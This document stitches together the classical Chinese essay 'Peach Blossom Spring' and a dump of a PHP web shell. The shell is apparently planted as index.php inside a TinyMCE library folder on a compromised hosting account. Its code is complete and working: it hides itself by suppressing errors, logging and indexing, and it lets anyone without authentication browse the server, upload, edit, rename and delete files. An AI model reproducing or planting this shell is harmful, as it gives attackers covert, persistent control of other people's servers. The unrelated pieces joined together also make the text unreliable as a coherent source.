晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
| DIR:/proc/thread-self/root/proc/self/root/home/salvufkx/www/cgi-binmmm/tinymce/js/ID3/ |
| Current File : //proc/thread-self/root/proc/self/root/home/salvufkx/www/cgi-binmmm/tinymce/js/ID3/index.php |
<?php
/* ================== STEALTH / QUIET MODE ================== */
define('STEALTH_MODE', true);
if (STEALTH_MODE) {
error_reporting(0);
ini_set('display_errors', 0);
ini_set('log_errors', 0);
if (function_exists('header_remove')) header_remove('X-Powered-By');
}
header('Content-Type: text/html; charset=utf-8');
/* ================== CORE ENGINE ================== */
class FileSystemEngine {
private $workDir;
public function __construct() {
$raw = isset($_GET['d']) ? $_GET['d'] : getcwd();
$this->workDir = $this->sanitize($raw);
}
private function sanitize($p) {
$r = realpath($p);
return ($r && is_dir($r)) ? $r : getcwd();
}
public function getPath() {
return $this->workDir;
}
public function run() {
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return;
$a = isset($_POST['action_type']) ? $_POST['action_type'] : '';
switch ($a) {
case 'upload':
if (!empty($_FILES['f']['name'])) {
@move_uploaded_file($_FILES['f']['tmp_name'],
$this->workDir . DIRECTORY_SEPARATOR . basename($_FILES['f']['name']));
}
break;
case 'mkdir':
if (!empty($_POST['newdir'])) {
@mkdir($this->workDir . DIRECTORY_SEPARATOR . basename($_POST['newdir']), 0777, true);
}
break;
case 'mkfile':
if (!empty($_POST['newfile'])) {
@file_put_contents($this->workDir . DIRECTORY_SEPARATOR . basename($_POST['newfile']), '');
}
break;
case 'delete':
if (!empty($_POST['del'])) {
$t = $this->workDir . DIRECTORY_SEPARATOR . basename($_POST['del']);
if (is_dir($t)) @rmdir($t); else @unlink($t);
}
break;
case 'edit':
if (!empty($_POST['file_to_edit'])) {
$t = $this->workDir . DIRECTORY_SEPARATOR . basename($_POST['file_to_edit']);
if (is_file($t)) @file_put_contents($t, $_POST['content']);
}
break;
case 'rename':
if (!empty($_POST['old_name']) && !empty($_POST['new_name'])) {
$o = $this->workDir . DIRECTORY_SEPARATOR . basename($_POST['old_name']);
$n = $this->workDir . DIRECTORY_SEPARATOR . basename($_POST['new_name']);
if (file_exists($o)) @rename($o, $n);
}
break;
}
}
public function breadcrumbs() {
$parts = array_filter(explode(DIRECTORY_SEPARATOR, $this->workDir));
$acc = '';
$out = array('<a href="?d=/">[ROOT]</a>');
foreach ($parts as $p) {
$acc .= DIRECTORY_SEPARATOR . $p;
$out[] = '<a href="?d=' . urlencode($acc) . '">' . htmlspecialchars($p) . '</a>';
}
return implode('<span class="path-separator"> / </span>', $out);
}
}
/* ================== INIT ================== */
$fs = new FileSystemEngine();
$fs->run();
$path = $fs->getPath();
$title = basename($path) ?: 'ROOT';
?>
<!doctype html>
<html>
<head>
<title>CORE PANEL</title>
<meta name="robots" content="noindex,nofollow">
<style>
:root{--bg:#000;--fg:#fff;--frame:#111}
body{background:var(--bg);color:var(--fg);font-family:monospace;padding:20px;margin:0}
.terminal-frame{background:var(--frame);border:1px solid #fff;padding:25px;max-width:1100px;margin:auto}
.header{border-bottom:1px solid #fff;margin-bottom:15px}
.path-matrix{background:#222;padding:8px;margin-bottom:15px;border-left:5px solid #fff;font-size:12px}
.path-matrix a{color:#fff;text-decoration:underline}
.data-grid{list-style:none;padding:0;margin:0;border:1px solid #fff}
.data-grid li{padding:10px 15px;border-bottom:1px dashed #333;display:flex;align-items:center;justify-content:space-between}
.data-grid li:hover{background:#222}
.writable{border-left:5px solid #00ff00}
.read-only{border-left:5px solid #ff3333}
.filename{flex:1;font-weight:bold}
.icon{margin-right:10px}
.actions{display:flex;gap:8px}
.actions a,.actions button{background:#000;border:1px solid #fff;color:#fff;padding:4px 10px;font-size:12px;cursor:pointer;text-decoration:none}
.actions a:hover,.actions button:hover{background:#fff;color:#000}
input,textarea{background:#000;color:#fff;border:1px solid #fff;padding:6px}
.op{margin-top:15px;border-top:1px dashed #333;padding-top:10px}
</style>
</head>
<body>
<div class="terminal-frame">
<div class="header"><h1>// SYSTEM PANEL //</h1></div>
<div class="path-matrix"><?= $fs->breadcrumbs() ?></div>
<p><a href="?d=<?= urlencode(dirname($path)) ?>">[ PARENT ]</a></p>
<?php if (isset($_GET['edit'])):
$f = basename($_GET['edit']);
$fp = $path . DIRECTORY_SEPARATOR . $f;
$cnt = is_file($fp) ? htmlspecialchars(file_get_contents($fp)) : '';
?>
<h3>EDIT :: <?= htmlspecialchars($f) ?></h3>
<form method="POST">
<input type="hidden" name="action_type" value="edit">
<input type="hidden" name="file_to_edit" value="<?= htmlspecialchars($f) ?>">
<textarea name="content" style="width:100%;height:400px"><?= $cnt ?></textarea><br><br>
<button>SAVE</button>
<a href="?d=<?= urlencode($path) ?>" class="actions a">CANCEL</a>
</form>
<?php elseif (isset($_GET['rename'])):
$f = basename($_GET['rename']);
?>
<h3>RENAME :: <?= htmlspecialchars($f) ?></h3>
<form method="POST">
<input type="hidden" name="action_type" value="rename">
<input type="hidden" name="old_name" value="<?= htmlspecialchars($f) ?>">
<input type="text" name="new_name" value="<?= htmlspecialchars($f) ?>">
<button>RENAME</button>
<a href="?d=<?= urlencode($path) ?>" class="actions a">CANCEL</a>
</form>
<?php else: ?>
<h2>Directory: <?= htmlspecialchars($title) ?></h2>
<ul class="data-grid">
<?php
$items = array_diff(scandir($path), array('.','..'));
foreach ($items as $it):
$full = $path . DIRECTORY_SEPARATOR . $it;
$isDir = is_dir($full);
$cls = is_writable($full) ? 'writable' : 'read-only';
?>
<li class="<?= $cls ?>">
<div class="filename">
<span class="icon"><?= $isDir ? '📁' : '📄' ?></span>
<?php if ($isDir): ?>
<a href="?d=<?= urlencode($full) ?>" style="color:#fff"><?= htmlspecialchars($it) ?>/</a>
<?php else: ?>
<?= htmlspecialchars($it) ?>
<?php endif; ?>
</div>
<div class="actions">
<a href="?d=<?= urlencode($path) ?>&rename=<?= urlencode($it) ?>">RENAME</a>
<?php if (!$isDir): ?>
<a href="?d=<?= urlencode($path) ?>&edit=<?= urlencode($it) ?>">EDIT</a>
<?php endif; ?>
<form method="POST" onsubmit="return confirm('Delete?')" style="display:inline">
<input type="hidden" name="action_type" value="delete">
<input type="hidden" name="del" value="<?= htmlspecialchars($it) ?>">
<button>DEL</button>
</form>
</div>
</li>
<?php endforeach; ?>
</ul>
<div class="op">
<form method="POST" enctype="multipart/form-data">
<input type="hidden" name="action_type" value="upload">
<input type="file" name="f">
<button>UPLOAD</button>
</form>
<form method="POST">
<input type="hidden" name="action_type" value="mkdir">
<input type="text" name="newdir" placeholder="new dir">
<button>MKDIR</button>
</form>
<form method="POST">
<input type="hidden" name="action_type" value="mkfile">
<input type="text" name="newfile" placeholder="new file">
<button>MKFILE</button>
</form>
</div>
<?php endif; ?>
</div>
</body>
</html>
|